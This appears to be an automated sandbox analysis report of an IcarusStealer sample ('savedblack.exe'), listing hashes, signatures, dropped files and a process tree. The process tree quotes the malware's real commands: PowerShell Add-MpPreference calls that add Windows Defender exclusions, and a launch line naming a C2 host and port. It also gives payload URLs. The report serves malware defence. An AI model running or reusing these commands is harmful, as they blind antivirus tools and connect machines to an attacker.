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Overview

overview

10

Static

static

3

savedblack.exe

windows10-1703-x64

10

savedblack.exe

windows10-2004-x64

10

savedblack.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/07/2024, 02:28

Sharing

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General

  • Target

    savedblack.exe

  • Size

    494KB

  • MD5

    2089eac1493e5034f266fb8a5a3a2d91

  • SHA1

    35e5341c15062df6c7d4fcfad0ce7ff4cb606629

  • SHA256

    1a18bb8dd805fba37b7afa53ece89b4ceab58f7c75b462d1de9c2ddcea056c67

  • SHA512

    025d238696aabd645fb2ec6c7456ffc18dff7bb59893579ea445c8f10b0c67d56980ee8f0354d399ece2f94ae05b5c72ccbe77e5241fcd559eb1639e4d0cc09e

  • SSDEEP

    12288:Oe+CrtuLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+Q1:j9Z6N6LqQzJqk2

Score
10/10
icarusstealerexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\savedblack.exe
    "C:\Users\Admin\AppData\Local\Temp\savedblack.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\osk4cfns\osk4cfns.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47B7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDC54BE7CD3084B3E97C1E473A7ADC16.TMP"
        3⤵
          PID:3588
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1964
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client notes-ease.gl.at.ply.gg 22444 PUGlcQLxe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:904
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3088
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3964
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3216
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4856
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\Start.exe & exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4956
        • C:\Users\Admin\AppData\Local\Temp\Start.exe
          C:\Users\Admin\AppData\Local\Temp\Start.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4916
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1220
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1184

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      3d086a433708053f9bf9523e1d87a4e8

      SHA1

      b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

      SHA256

      6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

      SHA512

      931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      16KB

      MD5

      71e8d438baca4f93fd7cf698f82e6061

      SHA1

      f417ced9a5f2f9dfea8bf650540b3b8f039ce845

      SHA256

      3471c8e47a55deb0594a33db12c0265e75c4d64d35b70fee80b02d921c7c0ab2

      SHA512

      13b421f4cfb08da7637e1d6cb2f746b45f2f2a8877f8ddf556b71981b01f14dd1db6ebad0b21a047c5173b4bfac351cce437c4e368e8c684a854c36dd64284ea

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133644473741943309.txt
      Filesize

      75KB

      MD5

      79ea60e4feeffe4483ba2d0ea61852fb

      SHA1

      7d5921a1b6240cc717ad4f4478bbcfc42f3af8e8

      SHA256

      1e85f6cd486b20682b1a6af9f34e7993a558f3b5dccd1e80a55178847e794923

      SHA512

      4d0866c2b63af9570fa20bca628a6e67b3704d7ab5a8a1311fb614f38b54444cc6630390092282f075751cae38000a17e4bf1cb992a8900b0c72965c0b24dbf4

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\RES47B7.tmp
      Filesize

      1KB

      MD5

      b58b7861d4d41f11913ecadfa4064ff2

      SHA1

      862644eb96fd9e93aac640eb1d58f29c029d4df6

      SHA256

      aec9e20c94f605c6f75ca5467436829a4b3b5ef39d56b66f477762cbd6d69928

      SHA512

      2d57d55465316bf5a506e229ab4d500ffcd1afdad55e73469da767ed76f4398a4021b092506390fd9afed1dc9d366a54a0201eda6b5aeb62807cf015928a32e3

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Start.exe
      Filesize

      4KB

      MD5

      204db9dd432a9161c01af822ee1086b0

      SHA1

      460f4419d4b7ee9015432cac9db6d53a7abd497e

      SHA256

      98c78b4013c2c5114c7a323b8d153a0205f1712e48f077208f88b14354e829b2

      SHA512

      9e04e234ea98d27c05f25e196f265e9981000f1b0401ebb1ce472be9fb24595f57375e9519597460ba234c03a07cb40da135988c71583eaf501a6760ee585cdf

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g5nfovzd.0ll.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCDC54BE7CD3084B3E97C1E473A7ADC16.TMP
      Filesize

      1KB

      MD5

      810535a8ae563d6aa53635a1bb1206ff

      SHA1

      f5ba39f1a455eb61efe5022b524892249ee75dce

      SHA256

      7f2c2a29a5f1c0d994fa4c2fccc11a8f3f5f5d4d97ada18aea94971664c8992f

      SHA512

      5662b39b29d33bff2e8de4cf3878a6e58b7a163cc93311f4c82f03e73b239a76bb9064ed0c4a6d01cceb858663462345cae78999cfa3668ef975cf85dfff138d

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\osk4cfns\osk4cfns.0.cs
      Filesize

      1KB

      MD5

      14846c9faaef9299a1bf17730f20e4e6

      SHA1

      8083da995cfaa0e8e469780e32fcff1747850eb6

      SHA256

      61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

      SHA512

      549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\osk4cfns\osk4cfns.cmdline
      Filesize

      447B

      MD5

      cb7c6fc44a53436b8da8bdd0eef4509a

      SHA1

      d0cdb9abb50994e6434a57a18a8736f3082f94b5

      SHA256

      16c682bba32ea1e503823a05f9a51c143ba73aed5fdf88295bc9761dc0098ec6

      SHA512

      82a9d28c329471a9d03c5feca0582ae519b527696903979d6267c44fcae7899f69fadaffb6c118a85aebe38f3093dc6f7b5012e54dd195a5be7fd12d5bdbb7c9

      Download Submit

    • memory/904-18-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

      Download

    • memory/1184-90-0x0000025ACB120000-0x0000025ACB220000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1184-95-0x0000025ACC2C0000-0x0000025ACC2E0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1184-115-0x0000025ACC690000-0x0000025ACC6B0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1184-104-0x0000025ACC280000-0x0000025ACC2A0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1332-0-0x000000007464E000-0x000000007464F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1332-4-0x0000000006A20000-0x0000000006FC4000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1332-1-0x0000000000430000-0x00000000004B2000-memory.dmp

      Filesize

      520KB

      Download

    • memory/1332-2-0x0000000004E70000-0x0000000004F0C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1332-87-0x0000000074640000-0x0000000074DF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1332-3-0x0000000004F10000-0x0000000004FA2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/1332-5-0x0000000074640000-0x0000000074DF0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1964-89-0x0000000002C50000-0x0000000002C51000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3964-76-0x00000000070F0000-0x0000000007101000-memory.dmp

      Filesize

      68KB

      Download

    • memory/3964-33-0x0000000005560000-0x00000000058B4000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/3964-26-0x0000000005400000-0x0000000005466000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3964-27-0x0000000005470000-0x00000000054D6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3964-62-0x000000006F6D0000-0x000000006F71C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3964-25-0x0000000004D20000-0x0000000004D42000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3964-24-0x0000000004DD0000-0x00000000053F8000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/3964-74-0x0000000006F70000-0x0000000006F7A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/3964-23-0x0000000004610000-0x0000000004646000-memory.dmp

      Filesize

      216KB

      Download

    • memory/4856-49-0x00000000071A0000-0x00000000071D2000-memory.dmp

      Filesize

      200KB

      Download

    • memory/4856-77-0x0000000007760000-0x000000000776E000-memory.dmp

      Filesize

      56KB

      Download

    • memory/4856-78-0x0000000007770000-0x0000000007784000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4856-79-0x0000000007860000-0x000000000787A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4856-80-0x0000000007850000-0x0000000007858000-memory.dmp

      Filesize

      32KB

      Download

    • memory/4856-75-0x00000000077A0000-0x0000000007836000-memory.dmp

      Filesize

      600KB

      Download

    • memory/4856-73-0x0000000007270000-0x000000000728A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4856-72-0x0000000007BD0000-0x000000000824A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/4856-61-0x00000000072A0000-0x0000000007343000-memory.dmp

      Filesize

      652KB

      Download

    • memory/4856-50-0x000000006F6D0000-0x000000006F71C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4856-60-0x0000000007180000-0x000000000719E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4856-48-0x0000000006280000-0x00000000062CC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4856-47-0x00000000061F0000-0x000000000620E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4916-22-0x00000000004A0000-0x00000000004A8000-memory.dmp

      Filesize

      32KB

      Download